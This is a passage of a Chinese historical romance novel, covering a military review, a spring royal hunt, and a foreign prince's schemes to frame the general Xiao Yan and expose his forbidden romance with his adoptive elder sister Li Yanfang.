一轮春月随着更漏声声,逐渐隐没在阴云内,仿佛褪去光华万丈,彻底沉寂于无涯黑暗之中。
*
夜色中王府灯火通明,李攸不久之前的猜得得到证实。
萧偃回京后与鄂国公府关系不佳,大抵是因鄂国公府亏待李宴方所致,而鄂国公府视此为仇,所以才会派出人马调查萧偃,试图削弱萧偃势力,没想到遇到自己的手下,两批人马为保证行事秘密,一决死战,见证事情经过的崇州萧家也意外亡于此。
李攸幸好迅速调查出来人的身份,立即将萧家灭门之事推到鄂国公府头上,自己才能了断祸根,以姻亲关系拉拢萧偃。
待太后首肯赐婚,李攸便会将萧偃身世告知于他。
既有姐夫内弟的关系,又是同仇敌忾的立场,何愁大事不成?
45. 兵演
应昌六年三月二十八,春猎阅兵之期。
日前,太后下诏于城郊之东,设广场,筑高台,以阅军威。
当日夜间三鼓时分,受检阅的禁军与飞捷军开拔前往城郊,各部兵马于拂晓之前部署完毕。
及至旦晨,太后携少帝出城,百官命妇乘马随行。
太后与少帝着戎服,百官命妇赐窄袍。
戎事本为男儿事,二圣临朝时,皇后陛下亲赴祃祭,命妇同往观之,自此之后,以为惯例。
李宴方身着窄袍,策马而行,亦在前往城郊广场的队列之中。
旭日渐升,光明万丈,她极目远眺,初见今日阅兵之壮威。
高台下兵马列阵,左右相望,甲光向日,刀枪林立,旌旗招展,延绵二十里。
礼官启奏,太后与少帝登高台,召百官命妇从而坐之,北戎使团受邀前来,亦坐于其中。
各方坐毕,阅兵演武正式开始。
殿前都指挥使手执五方旗,严阵以待。
五方旗为青、赤、白、黑、黄五色旗帜,分别代表东、南、西、北、中,统帅以令旗指挥禁军。
黄旗于风中猎猎,禁军整齐划一地朝高台山呼万岁,万人齐声呼喝,声浪直上九重天。
俄顷,赤旗出,禁军变阵,骑兵齐出,地动山摇。
而后,青旗出,步兵进退有序,军容整肃。
令旗每每挥动,列阵变化,令行禁止。
待白旗舞动,禁军杀戾凶气渐敛,全军再拜高台,高呼万岁。
最后黑旗下令,振旅收兵,队列森严。
坐中观者无不赞叹,无不震撼。
太后盛赞:“师律整严,分合应度,朕心甚喜。”
禁军将士听闻赞赏,即刻应答:“臣等愿以此为陛下诛伐绝宄。”
太后似有针对,眄视北戎使团,那木拓面色如常,不露惧色,她示意礼官,进行下一项检阅。
此时日已高升,光芒万丈,东方甲光辉耀,山崩地动,奔腾驰骋之劲旅正是即将受阅的飞捷骑兵。
高台前一人甲胄鲜明,阔步而来——飞捷统帅萧偃。
相较于禁军,飞捷军在此次检阅中所展示实力有所不同,禁军侧重展示精良装备与调度有序,而飞捷军则需以淬炼于沙场之上杀伤力震慑北戎使团。
轰鸣雷动的铁蹄声浪潮涌而来,一浪高逾一浪,似呼啸澎湃的沸海,重浪吞噬掉春日的和煦明朗,只余猛烈汹涌的杀戾之气。
萧偃手中令旗挥动,身侧战士得令擂鼓,鼓号震天,那一股驰马而至的钢铁洪流应声分列高台东西两侧,千军万马仿佛潮水遇巨石分流,畅通自如,毫无阻碍。
数逾百人的两方列阵各自就位,人马无喧,方才那一阵能叫天崩地裂的气势瞬间收敛,令行禁止,收放自如。
萧偃传令,分列台前的两队缠布臂上,一队缠红,一队缠黑。
礼官向座上君臣解释这场夺旗兵演的规则。
两队同由统帅指挥对阵,展示骑兵进退、侵扰、突袭、迂回、包抄等作战能力,而非为一决胜负。
金锤敲击战鼓,铁蹄随着震耳鼓声而驰动,霎时间黑潮涌动,两股洪流似深渊中龙蛇缠斗,掀起万丈狂澜。
惊涛拍岸,杀气震天。
赤龙龙首高昂,一挑再挑,衅战于前。
黑蛇蛇身游移,避其锋芒,转而以尺蠖之屈,蓄力一击。
赤龙进退之间分化两身,再以夹击之势,直向黑蛇冲锋。
黑蛇迂回有术,直冲赤龙腰身,两条赤龙不得不再度合一,两头巨兽酣战撕咬,海如沸,地似崩。
马萧风雷动,高台上众人无不为震天动地的气势所折服,心潮澎湃,四肢情不自禁地颤动。
只是台上有人激动,有人惧悚,几家欢乐几家愁。
那木拓冷厉阴狠的面容不免染上愁色。
禁军所展示的精良铠甲与锋利兵戈,毫不遮掩地体现大晟国力强盛,除夕宴上那一座万象芳华不过是太后给他们北戎点的开胃菜,真正的主食则是一支精兵劲旅。
待到飞捷兵演,不必说其灵活迅猛的调度与蛮霸骁悍的战力,就连近千人所驭的战马都能做到中无杂色。
有铁,有马,有兵,有将,一国之储备实力,尽在此展示淋漓。
那木拓咽下一口恶气,北戎想在正面战场较量一番,并非毫无胜算,只是会打得艰苦卓绝,损失惨重。
他清楚而真切地意识到,大晟不再是那个捡起前朝破烂摊子到处缝缝补补的窝囊废了!
更不是那个占了便利才拿下四州的幸运对手,而是一个真正的强敌!
安坐于高台中央的老妇当很得意吧?
既然正面迎敌并非明智之举,那么就让尔等内部生乱,自相水火,他那木拓才有可乘之机。
那木拓的目光牢牢凝在高台前那手执令旗指挥飞捷之人身上,透着阴寒怨毒的冷厉杀意。
萧偃,今日能叫你扬威风,亦能叫你死无葬身之地。
那老妇更该晓得什么叫做得意忘形,乐极生悲。
大军壮盛兵演之后,将进行大猎。
四季畋猎遵循上古之风,分为春蒐、夏苗、秋狝、冬狩。
春日为野兽繁衍之时,搜索猎取还未怀胎的野兽,不可伤害动物幼崽,此为春蒐。
在正式进行围猎之前,将士们会把猎物集中围于广场后的林地内,再由参与者策马竞逐,最后盘点猎物,由太后与少帝赐予最善射者嘉奖。
山林之内,草木茂盛,野兽出没……
那木拓脸上的愁色尽去,开始期待大猎鼓号的吹响。
*
大猎开始前,有一段休整准备的间隙,萧偃在帐中更换甲胄,卸下一身厚重威严的全甲,改着半甲文武袖。
儒雅而不缺威仪的装扮本该将他衬得意气风流,英明威武,可帐中人却愁眉紧锁,心头那一块存在已久但被刻意忽视的巨石将他压得头昏脑胀。
兵演的重担让他连日来全神贯注,宵衣旰食,好彻底忘记他与李宴方的约定。
如今任务顺利完成,萧偃在能喘第一口闲气的当下,几乎是立即想起那一个彻底将二人往歧路上越推越远的约定——
断绝关系。
当时他毫不犹豫地同意,可事到临头却生出不情愿,不甘心,不愿意面对。
哪怕他是为了让阿姊卸掉落在她肩头的、本不属于她的责任。
以后他就再也没有光明正大接近她的理由;再也没有挡在她身前的借口;再也不能在同一屋檐下,抬头不见低头见;再也不能天然地拥有一个亲密的身份,比别的男人更近水楼台。
这就是他的不甘心。
她是因为厌恶他才要远远地避开么?
她要去何处?
永远消失在他的视线中么?
他想要悄无声息地窥探,以冠冕堂皇的保护之名化身为阴暗潮湿背后藏起的眼,暗光闪烁,紧抓不放。
明知她不喜欢这样,可仍无法阻止这一刻的冲动到来,而冲动即将在他的脑海中演变成精密的计划,把她的每
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一步都算计在内……
“主子,大猎即将开始。”帐外传来亲兵的禀告。
萧偃兴致缺缺地起身,这一场大猎他本不欲参与,但帐门口出现的不速之客似乎试图让他改变打算。
一身猎装的北戎王子那木拓仿佛守株待兔已久。
“萧侯连日辛劳,不参加大猎了吗?”
挑衅是那木拓最为擅长的事情之一,何况他心知自己为萧偃情敌,随性三两语就能激萧偃入局。
“一而再,再而三地赢了王子,岂不是叫人以为我年少轻狂,不懂分寸?”
可萧偃的确有傲慢张狂的本事,他哪怕身形放松,姿态随性,也减轻不了骨子里那一份在疆场上磨炼出的锐意,让敌手胆寒退却。
“难道是萧侯认为赢不了第二次,见好就收?还是今日猎场中的虎豹熊罴让你心生惧意?”
萧偃凤目一凝,那木拓在用激将法。
在北境四州上打响战役中,北戎输给了大晟;在除夕夜宴的游戏中,那木拓输给萧偃;而在和月山庄中,那木拓的阴谋被李宴方挫败,那木拓心中藏着一股恶气也是情理之中。
那么也该轮到萧偃把心口的恶气宣泄而出了,那木拓惦记阿姊,暗中生事的账还没算。
萧偃尚未回应,那木拓急不可耐似地道:“听闻大晟人才济济,连平日里舞文弄墨的宋王也擅长骑射,书生尚且无惧,何况将军乎?”
萧偃冷嘲:“王子前来洛都,学了不少之乎者也的东西,像模像样,只是涉猎的书籍还不够多,还不知君子六艺礼、乐、射、御、书、数,这些贵族们必须掌握的技能,见怪不怪了。”
他不知是该笑那木拓半桶水乱晃,还是笑他身上那股沐猴而冠的滑稽之感。
那木拓把李攸也牵扯进来,显然得知阿姊在金澜池中的遭遇,当真是情敌相见,分外眼红。
这一场大猎只是意气之争?
萧偃远眺,见士兵正扛起巨号就位,准备吹响召集猎手的号角。
去,他当然得去。
*
广场上骑射好手们带着猎犬、猞猁,蓄势而发,大晟尚武,不少女子亦扬鞭策马于猎场上显英豪,李宴方虽身着窄袍便于开弓,但她无心射猎。
心不在焉,连准头都描不动,一想起春猎之后要做的决定,她的目光好似无法控制住游移到某个人身上。
譬如现在。
出发的号角吹响时,她几乎是掠过寻找这一环节,直接锁定身姿挺拔的熟人,大概再过不久,他就会变成熟悉的陌生人了吧?
李宴方脸色郁郁,就好似今日的行程太满,日光太毒辣,让她心神不宁。
她恍惚地坐于帐中,与同样不参与大猎的命妇打叶子戏,因心思飘远,几局下来,成了座中的“散财童子”,让牌友们笑声连连。
飞光在形如叶片的牌片中流过,牌友浑然不觉,直到帐外有人小声议论,李宴方依稀听见“宋王意外受了箭伤”,她的心徒然一跳!
脑海里萧偃那一句“玩笑话”回荡不散,难道他真敢射杀李攸?!
这时帐外喧闹起来,帐内的牌友们听闻亲王受伤,纷纷放下叶子牌,前往观望,无人在意李宴方如覆寒霜的容颜。
李宴方在帐前眺望,护卫与御医扛着担架药箱,策马前往林中寻找受伤的宋王,而她拳头紧握,指节发白,立刻唤来护卫自己的紫电,把从侯府中带来的七名亲卫召到身边。
入山林,寻萧偃。
注:本章禁军演练流程有参考《宋史·志·卷七十四》。
46. 大猎
绿林密布,参天高树之间有日光落下,灌木从中偶有悉悉索索的动静,当是被投放的野兔獐子之类的小兽。
策马紧随萧偃的三名亲卫心知主子是看不上这等猎物,但心里同样闪过疑惑,方才这一路上,主子看到头角峥嵘的壮硕公鹿也不放在眼里,一副没有半点行猎热情的模样,有些不同寻常。
萧偃心事重重。
他耻于承认自己来行猎,是存着一丝对阿姊的不信任。
他知晓李攸也在其中,他无理取闹地想,若是李攸当真夺了风头,她会以满含情意的目光望向李攸么?会担心李攸有没有受伤吗?
可他明明更清楚,阿姊曾说幽州之行只有他能陪她前往。
这一份承诺足够沉重,足够赤诚,牵扯到二人无法磨灭的过去,暗喻着二人灵魂深处的追求,可竟然不足以成为抵抗萧偃内心自卑、自嘲与自厌的中流砥柱。
他怀疑她不在意他,怀疑她要避开他,怀疑她真的在他不知道的时候对他人倾心。
卑鄙阴暗的设想成了无孔不入的春潮,继而化作翻涌着猜疑忌恨的浊浪,冲刷着,席卷着,吞噬掉他的理智,怂恿着他释放心底的恶流。
他配不上她。
就在这个灰败的念头落地的一瞬间,那一捧即将熄灭的灰烬内遽然窜起凶猛烈火——
若是李攸当真能在这一场大猎中死去就好了。
忌恨是燃起火焰的最见效、最歹毒的燃料,它能烧毁对手,更能蚕食掉仅存的理智,把本就伤痕累累的自己烧得惨痛万分,如堕十八层地狱。
萧偃昂首望见遮天绿林时,一阵春风恰来拂面,他才有一瞬间尚在人间的恍惚。
林中有了异常的动静,蹄声杂乱阵阵,猎犬吠叫狺狺,萧偃一行人提起精神,拿出战时警惕。
萧偃虎视鹰凝,瞬间锁定,远处灌木从中有一头忙于奔命的巨角梅花鹿,枝杈般的双角抵开路径上阻碍的横枝,四蹄跳跃而起,掠过草木。
有人在追击这头壮实矫健的公鹿。
萧偃搭弓,大猎之争,能者得之,是猎场内不成文的规定。
谁让来人把猎物驱赶入他彀中?
那梅花鹿见奔逃前路上有三两猎手守株待兔,忙闪开四蹄,转向奔逃。
箭镞在日光之下微转角度,把光芒反射,林间闪过一瞬灼目强光。
利箭破风惊林,可这短促而锐利的杀声竟从两处同时响起,同时划破山林间的阴凉。
萧偃回眸一扫,又来一队争夺猎物的猎手,领头之人竟是那木拓。
真是个毫不令人意外的意外。
那梅花鹿已中萧偃一箭,发出痛苦呜嚎——
膘肥体壮的公鹿声音雄浑震天,而这一阵长嚎之下,掩盖着一声尖利的叫喊,随即人群的震惊紧张惊呼四起。
原来紧紧跟随在梅花鹿身后的一队猎手是李攸及其随从,而此刻,李攸身已中箭,坠落下马,随从几人手忙脚乱地救援。
梅花鹿虽中一箭,但还未毙命,仍是忍着伤痛奔逃,那木拓见状再补一箭,随即呼唤猎犬,前去撕咬逃窜的巨鹿。
惊呼声,犬吠声,鹿嚎声,马蹄声,声声嘈杂,场面极其混乱,三队人马就在这一场混乱中“不期而遇”。
此事不好收场,萧偃忙从身后亲卫中点出两人:“林中混乱,走兽出没,宋王身中暗箭,你二人前去护卫,将殿下送出山林。”
萧偃派出自己的人马,为的是防止李攸或是那木拓的人信口开河,栽赃陷害。
那边李攸的护卫见萧偃在此,忙策马前来:“我家王爷遭逢刺杀,请萧侯出手!”
宋王为君,萧偃为臣,王府护卫的请求不算过分,只是王府护卫将事情定性为“刺杀”……
刺杀亲王,等同谋反,可不是“大猎意外”四个字就能揭过的小事。
始作俑者那木拓悠闲打马上前,不怀好意地对王府护卫道:“既是刺杀,方才何人拉弓,何人便有嫌疑对么?”
王府护卫回想前一刻内发生的意外,他跟随李攸追击公鹿,李攸正欲引弓射之,却不曾想山林之内马嘶犬吠,竞争对手纷纷赶来逐鹿。
可就在下一息,一支暗箭袭来,射中的并非奔跑的公鹿,而是策马的宋王!
他赶忙查看情况,远处萧侯的人马与北戎王子的人马一前一后地现身于山林,恰好都是暗箭发出的方向。
而北戎王子这一句话问出来,让本来怀疑北戎王子暗箭伤人的王府护卫疑心更重,事情发生的一瞬他根本无法判断“凶手”是谁……
难道真的只是意外?
可眼前的两位射术好手,真的那么容易出意外吗?
他一时惊慌于自己失言,有些事还是得宋王来定夺才好。
而宋王那边终于稳下局势,宋王右肩中箭,不便策马,已有人外出传信,待卫兵与医馆把担架抬来。
萧偃横眉冷目,心想未及要害的箭伤对他这种武夫算不得什么,可这位宋王是如假包换的金枝玉叶,最好不要策马移动,以免箭伤深入筋骨。
他望向宋王,还能喘气,并无大碍。
看来那木拓并非想置他于死地,挑起两国争端,那么那木拓想做什么?
另一处,李攸浑身打颤,疼痛难耐,鲜血自肩膀的伤口渗出,染红衣襟,痛感之余,他心里窜过一阵寒意,自己处境不妙。
这一支箭暗藏玄机,且尚身处于山林,危机四伏,断然不可与北戎王子起冲突。
幸而萧偃在此,那木拓绝不会无法无天,只是自己什么时候得罪过那木拓?
因为李宴方?
同渡,赠花,这些举动太过明目张胆,难道那木拓察觉出自己横拦一道的心思,给自己教训?
可他也不想想,射杀亲王这等罪名,他一个前来出访的北戎王子能不能担得起?
还是他瞅准时机要栽赃嫁祸于萧偃,折掉大晟的一员猛将?
如果李攸的猜想正确,那木拓又是如何把他们两队聚在一起,是巧合还是刻意为之?
这口恶气要不要咽下?
王府护卫说的“刺杀”他要不要认定?
不如给自己暂留一个转圜的余地,李攸头一歪,眼一闭,“昏死”过去。
既然萧偃也派出护卫照看自己,不如假装不知情,先出了山林确保安全,再谈其余。
萧偃如此在乎他的安危,难道心里认定了他这个未来姐夫?李攸心中冒出猜想,若是能证实此事,这一箭挨得也不算亏。
王府护卫疾呼“殿下昏厥”,那一名前来请萧偃出手的护卫也终于得了台阶,不敢再回答那木拓的问话,急匆匆跑回去照看李攸。
林间,萧偃与那木拓隔着数十步的距离对峙。
猎犬与
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猎手打破沉默,将那一头公鹿拖拽回来,那木拓的随从前去接应。
萧偃冷目扫过公鹿尸首,鹿身上有两支箭,一支深深扎入胸口,另一支扎入咽喉,两支箭的入射角显然不同,说明开弓之人从不同方向放箭。
但那木拓出现在自己身后,只为了制造射杀假象?
萧偃心头霍然一冷,射杀,宋王,那木拓知道了什么?他此举是为了引阿姊入局!
不可能,他在家中说的话,绝不会被那木拓听去,除非那木拓歪打正着,误打误撞,准确推断出他、阿姊、宋王之间的关系,那一株绿云暴露了太多……
阿姊会因为“萧偃射伤宋王”而前来吗?
为了谁?
为了李攸,萧偃愤怒;为了萧偃,他自责。
萧偃瞬间焦躁起来,林中不安全,不如先把那木拓擒住,以防生变。
但他只带了三人,而两人被派去护送宋王出山林,那木拓带了六人,更不要说还有几头凶猛的猎犬。
该如何以少胜多?
擒贼先擒王。
*
“快!”
策马负弓的李宴方少见地催促亲卫。
这一行人在前来的路上偶遇正在小心翼翼行进的宋王及其随从,那两名被萧偃派出护卫宋王的亲卫替李宴方指明萧偃所在。
李宴方只是一瞥昏迷不醒的李攸,见他箭伤并非要害,撇下不谈。
两名亲卫继续遵从萧偃的命令,护送宋王出林,卫兵和医官就在前方接应。
她在萧偃派出的两名亲卫和宋王的伤口上推测出这一突发事件背后藏着的利害关系。
这支暗箭指向的不是李攸,而是萧偃。
手中缰绳攥紧,她取下背在身后的弓,握于掌中。
萧偃身边跟随的人太少,甚至还派出两位跟随在宋王身边防止有人对他不利,可他自己不清楚密林内四面楚歌么?
他究竟是根本没意识到,还是自负狂傲?
李宴方在心里毫不留情地责骂萧偃,她身后跟着连同紫电在内的八名亲卫,但心生悔意,事情的严重性可能超乎她想象,若是能调出飞捷猛骑,才能让她安心。
一定要快。
风云变幻就在瞬息间。
林木草丛密布之处,那头断气的公鹿孤零零横倒在灌木上,本该聚集于此的猎手猎犬均杳无踪迹。
李宴方一行人赶到时,眼前只剩一片狼藉。
紫电已下马查看,他目光扫过地上凌乱的草木,拾起观察,对李宴方道:“乡君,此处断枝乃刀剑锐器所折,必然发生过打斗。”
“有无血迹,人血?”李宴方问声冷沉,神色愀然。
紫电唤出猎犬,发布指令,猎犬问声而动,开始搜寻。
不消多时,毛色金黄的猎犬发现蛛丝马迹,昂首吠叫,朝前奔跑。
群马奔驰不过半炷香的时间,为首的李宴方已远远听到兵戈相击的锐鸣。
她极目远眺,果然是萧偃与那木拓两方人马在缠斗,明明是人数悬殊的对手,却打得难舍难分,一路纠缠。
萧偃九成是想控制那木拓,而非在猎场内取他性命。
那木拓必然想对萧偃不利,但不愿意亲身背上血债,所以多方周旋。
李宴方张弓搭箭,弓弦在风中嗡吟。
“咻”羽箭逆风而出——
47. 围城
铁蹄动地,山间仿佛陷入一瞬间的悄寂,就这一息的间隙,羽箭趁虚而入,破风驰来!
它不偏不倚地扎入那木拓的后肩,并不算深,但足以见血。
移动中的目标不易锁定,但李宴方本也不欲取他性命,正如李攸身上的那一箭一样,注定会以“意外”收场。
“包围。”李宴方勒马,骏马由奔作走,慢慢靠近。
八名亲卫加入战局,局势瞬间逆转,两方均是不动声色地收起锋芒,改为对峙。
先前那木拓本在与萧偃交战,谈不上凶险,但彼此心怀狠意,自然是全神贯注争斗,这一箭急速飞来时他根本分不出半分心神去躲避。
身后的刺痛隐隐往骨骼内深钻,他回过身,惊觉这一箭发出之人竟然是李宴方。
她果然来了!
一条毒蛇就悄无声息地亮出她的獠牙。
砸棋盒准头尚可,没想到还通晓几分箭术,那木拓强忍着疼痛,将手绕至身后,毫不犹豫地拔出羽箭。
血肉淋漓,羽箭被他丢弃,这时他听闻一句毫不客气的“道歉”。
“山中草木繁茂,林间光阴斑驳,我不慎出了差错,难道王子要追究我么?”
李宴方心知宋王那一箭并非萧偃所发,那么有挑事动机,并且能控制好力度的人只有那木拓。
那木拓是有意为之,而她也是有意为之。
她正是为了告诉那木拓,他的意图昭然若揭,她已做好应对之策,不惧他追究。
甚至担忧那木拓不追究,以免错过给被栽赃的萧偃顺利脱罪的机会。
李宴方就是为萧偃而来。
萧偃收起手中染血的横刀,心不在焉地将其往左臂上一擦,玄色的衣袍上并未留下显眼的痕迹,他愣怔一会儿,目光呆呆地停在衣袍的血迹上。
阿姊的话明明说得一清二楚,可他为什么会恍惚?
恍惚之后心头竟然涌起酸涩的潮汐,浪潮循环往复,把那一颗石头凿的、钢铁打的心拍成千百万块碎片。
他怎么能去怀疑她的用心?
她毫不犹豫地为他而来,一路上是不是心急如焚?
是不是既忧心又冷静地思索对策?
是他害了她,让她不得不因他而身涉险境,可他竟然还怀疑她!
对阿姊的愧疚,萦绕在心头的自责,因那木拓设计而升起愤怒在这一刻交织翻滚,让他无法宁静。
一道冷光化作利箭,再一次射穿那木拓。
萧偃后悔莫及,早知那木拓居心叵测,可一直碍于他北戎王子的身份和两国关系无法动手,要是早一些除掉祸患,阿姊今日便无需以身犯险!
那木拓背后的伤口仍在流血,但不予理会,他只是震惊于李宴方的选择。
萧偃对她有超乎规矩礼数的浓烈爱意,但李宴方没有答应他,而是在金澜池上与李攸同船竞渡,更是在次日接受上门赠花的李攸。
这一系列事情让那木拓坚定地认为李宴方心悦李攸,是因为要摆脱萧偃畸形而炽热的追求。
她一定厌恶极了萧偃。
情场上,他可以输给风度翩翩的李攸,但不能输给盛气凌人的萧偃,在今天之前那木拓如是作想。
可怎么会是这样?
但那木拓抬头,望向李宴方的眼神变得复杂莫测,望向那一张如冷月般淡漠而清丽的容颜,叫他心头闪过一阵恶寒。
这一支箭,这一番话给他带来的震撼远比此刻还在流血的伤口更难以忽视,仿佛箭簇上带着人人避之而不及的疫病,顺着血管钻入他的心脏,荼毒他。
其实李宴方在乎的是萧偃,她明知道她身处于一个崇尚礼乐教化的国度,明知道她和萧偃有一重伦理关系,明明有个天赐良机能除掉萧偃,让她免于道德崩坏的纷争,但她的做法出乎那木拓意料!
无名之毒在那木拓身上爆发了。
他如突发恶疾,疯癫大笑:“与弟勾结,暗通款曲,李宴方你真应该嫁来蛮夷之地,被你们大晟人痛骂‘乱.伦无耻’‘野蛮荒淫’的北戎收继婚很适合你啊。”
夫死妻嫁叔,或嫁非血亲之子,是大晟人厌恶的有悖人伦、有伤风化恶俗,是与禽兽无异的道德败坏。
他曾在和月山庄中用药陷害二人,无非是因为大晟人最注重礼法,让姐弟二人德行有亏,受口诛笔伐,叫他痛快舒畅。
可是,漩涡中心的姐弟似乎根本不在意这一点,也许二人还盼望着那件事情能顺利发生,让刻意设计的自己作了姐弟调情的一环,成为天大的笑话!
那木拓曾经爱慕过一人,那个大晟女子,他甚至不在乎她嫁过人。
他本以为她是高天月,清冷出尘,光华流蕴,可她竟然只是泥中石,肮脏低贱,污浊下流。
“你们让我恶心。”
姐弟二人隐秘不宣的关系被广而告之,明晃晃地挑亮于日光之下,北戎侍从与萧偃亲卫或兴致勃勃地等待一出好戏,或垂眸躲闪,不敢窥探主子们的隐私。
周围众人的耻笑或回避在一瞬间凝结为透亮明鉴的巨型铜镜,数不清的铜镜映照世间万象,围成一个让李宴方密不透风的空间,她抬头,有人轻蔑嘲笑,笑她自甘堕落;她转身,有人指指点点,斥她不知廉耻……
她逃不出这一座由无数人、无数道流言蜚语围成的镜城,铜镜照出她的狼狈,她的慌张,她心中的羞愤耻感被无限放大,她甚至忘记如何为自己辩驳,只是慌不择路地奔逃,结果四处碰壁,撞得头破血流。
李宴方心底隐藏的惧意在这一刻逃出束缚与压制,化作千万张网,第一张名为失序,第二张名为越轨,第三张叫做突破禁忌……
一层一层地将她笼住,网层层叠叠,隔绝了光,阻断了气,让她在惶惶不安中逐渐窒息。
可她怪不了别人,这一座镜城是她自己决定跨步迈入,这一阵天网是她早早预料到会落下的惩罚。
姐姐的身份,恋人的感情,是她无力辩白、无法出逃的真正原因。
若以二人并非亲生姐弟开脱,那么被大晟人讥讽鞭挞的弟娶兄嫂又怎么能算作恶俗邪风?
伦理道德是远比血缘关系更严峻苛重的囚锁,不落在未开化的蛮夷之地,而是落在大晟这个礼仪之邦。
李宴方的容色白了几分,如同春尽时勉力挂于枝头的牡丹,失了颜色,丢了生机,在烈日或暴雨中走向不可避免地衰败腐朽。
萧偃心知肚明,他的阿姊因何而煎熬痛苦。
上官柔仪对他的提醒正确无疑,是他一而再再而三地贪恋温存,延误了时机,让阿姊陷入这一番难堪沉痛的境地。
萧偃的寒眸一一扫过听众观者,那木
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拓的人他必然会一个不落地送下地狱,自己的亲卫绝对能做到守口如瓶,不泄露一丝一毫。
今时今日,得知一切的人能尽在他掌控之中,但明年明月又该如何?
有朝一日,天下皆知,他能堵得住天下悠悠众口吗?杀得尽天下搬弄是非之人吗?
那时候的阿姊又会变成何种模样?
他不能深思,一旦细想,仿佛就会陷入地狱中,被鬼焰烈火炙烤,烧得体无完肤,烧得肺腑成灰。
焦灼的五脏六腑让他疼痛,更叫他清醒,他终于在这一刻理解重逢以来,阿姊对他的回避与纵容,他曾心有怨言,可如今他后悔莫及。
他当真是引狼入室的那一头白眼疯狼,真该扒了皮挂在厅中,以儆效尤。
萧偃手中的横刀调转方向,锋芒直指那木拓,他一字一句:“引诱她的人是我,强迫她的人也是我。”
他帮她撇清,揽下并不存在的逼迫之罪,挡在她身前,试图让她远离流言蜚语的漩涡。
只要她是被动的,无辜的,无可奈何的,那些她最抗拒的议论和斥责就会越过她,打在他身上。
她仿佛能因此毫发无伤。
李宴方的目光落在萧偃身上,他决绝且奋不顾身。
可她并不无辜,更不软弱,她不是一个只会躲在身后高枕无忧的享受者。
路是她走的,人是她选的,她比所有人都清楚自己在做什么。
她是长姐,是洞悉人心,把控走向的长姐;是不会让他单枪匹马,独自奋战的长姐。
剑拔弩张之下,她策马行至萧偃身侧,悠闲得如同家常闲话,又或是经年日久相处中时不时出现的一句数落:“我算计得比你多。”
阿姊明明那么在意飞短流长,可她还是愿意在好事者面前与他并肩,萧偃心头震动:“王子逞了口舌之快,就得做好见血的准备。”
千言万语,不如早离险境。
那木拓可以死,但北戎王子不能死在大猎中,不能死在大晟的国土内,不过他的身边的人可没有身份光环,不带议和任务。
他们得死,这是给那木拓的警告。
“动手。”
亲卫身经百战,面对高大剽悍的北戎护卫丝毫不逊色,如今更是在人数上占据优势,一声令下,摆开阵型,发起进攻。
萧偃靠近,于厮杀中轻声道:“在我身边最安全。”
言罢,不待李宴方反应,他突然发动,将她从马背上一把带到怀里。
霎时间天旋地转,李宴方眼前的景物模糊成残影,背后传来碰撞的痛感,她撞上萧偃那精密如龙鳞的锁子甲,突兀,坚硬,硌得慌。
不必萧偃多解释,她明白他的用意,与其要他分出精力兼顾在周围的自己,防止那木拓以她为人质,不如让他选择最省力的方式行动。
她调整姿势,尽可能降低自己的存在感,不影响到他的大开大合。
萧偃感觉到怀中的人即刻放松戒备,将人抱紧。
比起身旁和后背,腰腹是更为致命的要害,他把与这个地方同等重要的位置留给李宴方。
刀光剑影中的那木拓见事情一步一步按预想发展,萧偃心有挂碍,便成软肋,一击即中。
那木拓手中打了个手势。
谁说他的得力忠仆只有身边这几人?
48. 搏虎
金乌渐西,日影留长,暮色四合。
猎场外,负责大猎的官员正在清点猎物,他的额头渗出汗滴,紧张地复核再复核。
大猎并非真正的山野竞逐,而是供皇室成员与文武百官一展身手锻炼骑射的盛会,在猎场中投放的猎物都经过精挑细选,尤其是猛兽之类更是限定数量和体格,还需要在投放前喂饱鲜肉,以防猛兽暴起伤人。
一般而言,有胆色进入深林逐鹿的猎手都经验丰富,成群侍从猎犬紧随,面对虎豹豺狼也能游刃有余,绝大多数猛兽最后都会成为猎手们的手下败将,变作战利品被带出山林。
可今日已是日薄西山之时,还有两头猛虎尚未被“捉拿归案”,满头大汗的官员不敢声张,只是询问猎场中是否还有人未归。
若是真出了纰漏,只怕会调动禁军前往搜索救人,可千万不能出人命,官员祈祷着。
残阳又斜一分,官员焦急万分。
忽见几骑自林中归来,他匆忙派人迎接。
“山中有猛虎伤人,萧侯与乡君还在里头!”
这一行人为首的正是紫电,他鲜血覆面,身上的伤口在紧急处理之后仍渗出一小汩血。
身后的亲卫们扛着猛虎尸首,还有重伤濒死的同伴。
那时林中,他们几人接到主子命令,与那木拓的随从决一死战,警告那木拓,可山野内危机四伏,情况突变,突有一头猛虎加入战局。
这有违常理!
猛虎常独行于林中,偶遇异常且对方人数众多,猛虎绝不会主动招惹,除非饥肠辘辘,不得不铤而走险。
这一只猛虎一露面就发起凶猛的进攻,让那木拓在混乱中逃出生天,也让他们与主子乡君断了联系。
乡君尚有主子护卫,紫电并不太担心,他们合力制服猛虎,处理好北戎随从尸首,为乡君与主子解决后顾之忧。
但今日诸事蹊跷,一定有人在暗中搅动风云,只怕还有后手,他必须前来报信,最好是能让飞捷军的副将带领人马搜寻。
最后,这头猛虎一定要让自己人验验尸。
紫电半真半假地向官员陈述经过,寻求支援和大夫。
官员大骇!他最担心的事情竟然真的发生了!
如今天光渐散,猎场中不仅有一头凶虎不见踪影,还有两位贵人身陷其中!
他的小命危矣,带着紫电立即前去上报。
不远处被“猛兽”所伤的那木拓得知李宴方萧偃音讯全无,得意浮上心头。
猛虎作刀,借刀杀人。
要杀萧偃那般能于千军万马中来去自如的骁勇悍将并非易事,但他自爆软肋,为保李宴方,他的作战能力定然会下降。
加之,那一头猛虎被人做下手脚。
陆朴特意在西南寻觅到一名能人异士,那人驯兽一流,兼通药理。
一个带着累赘的猛将,遇到一头疯虎,绝对讨不到便宜。
何况他还在与萧偃过招时给他的坐骑上抹了驯兽师准备的药物,就算李宴方与萧偃二人逃脱猛虎爪牙,也会嗅觉灵敏的有漏网猛兽乘势追击。
天色渐暗,二人凶多吉少。
那木拓笑着,让姐弟同年同月同日死,反倒是成全,那二人还得对他感恩戴德!
广场上,清点猎物与排名嘉奖正进行得如火如荼,夕阳也在这一刻撤尽最后一抹光辉。
一道命令从太后少帝回宫的车架中传出,命已返程回营的三百飞捷军深入山林搜寻统帅与高陵乡君的踪迹。
那木拓得知此事,并不慌张,调兵往返已耗多时,更不要说夜间野地情况复杂,搜寻难度极高。
不过搜出二人遗体也算好事,生要见人死要见尸,这计策才算有始有终。
*
日暮时分,林间阴翳森森,连鸟鸣也不闻一声,望不见头的幽绿透着令人悚然的鬼气。
“你没事吧?”
李宴方抬头望着萧偃,在被猛虎冲散后,她们策马远离人群,如果还能嗅到血腥味,八成是萧偃已负伤。
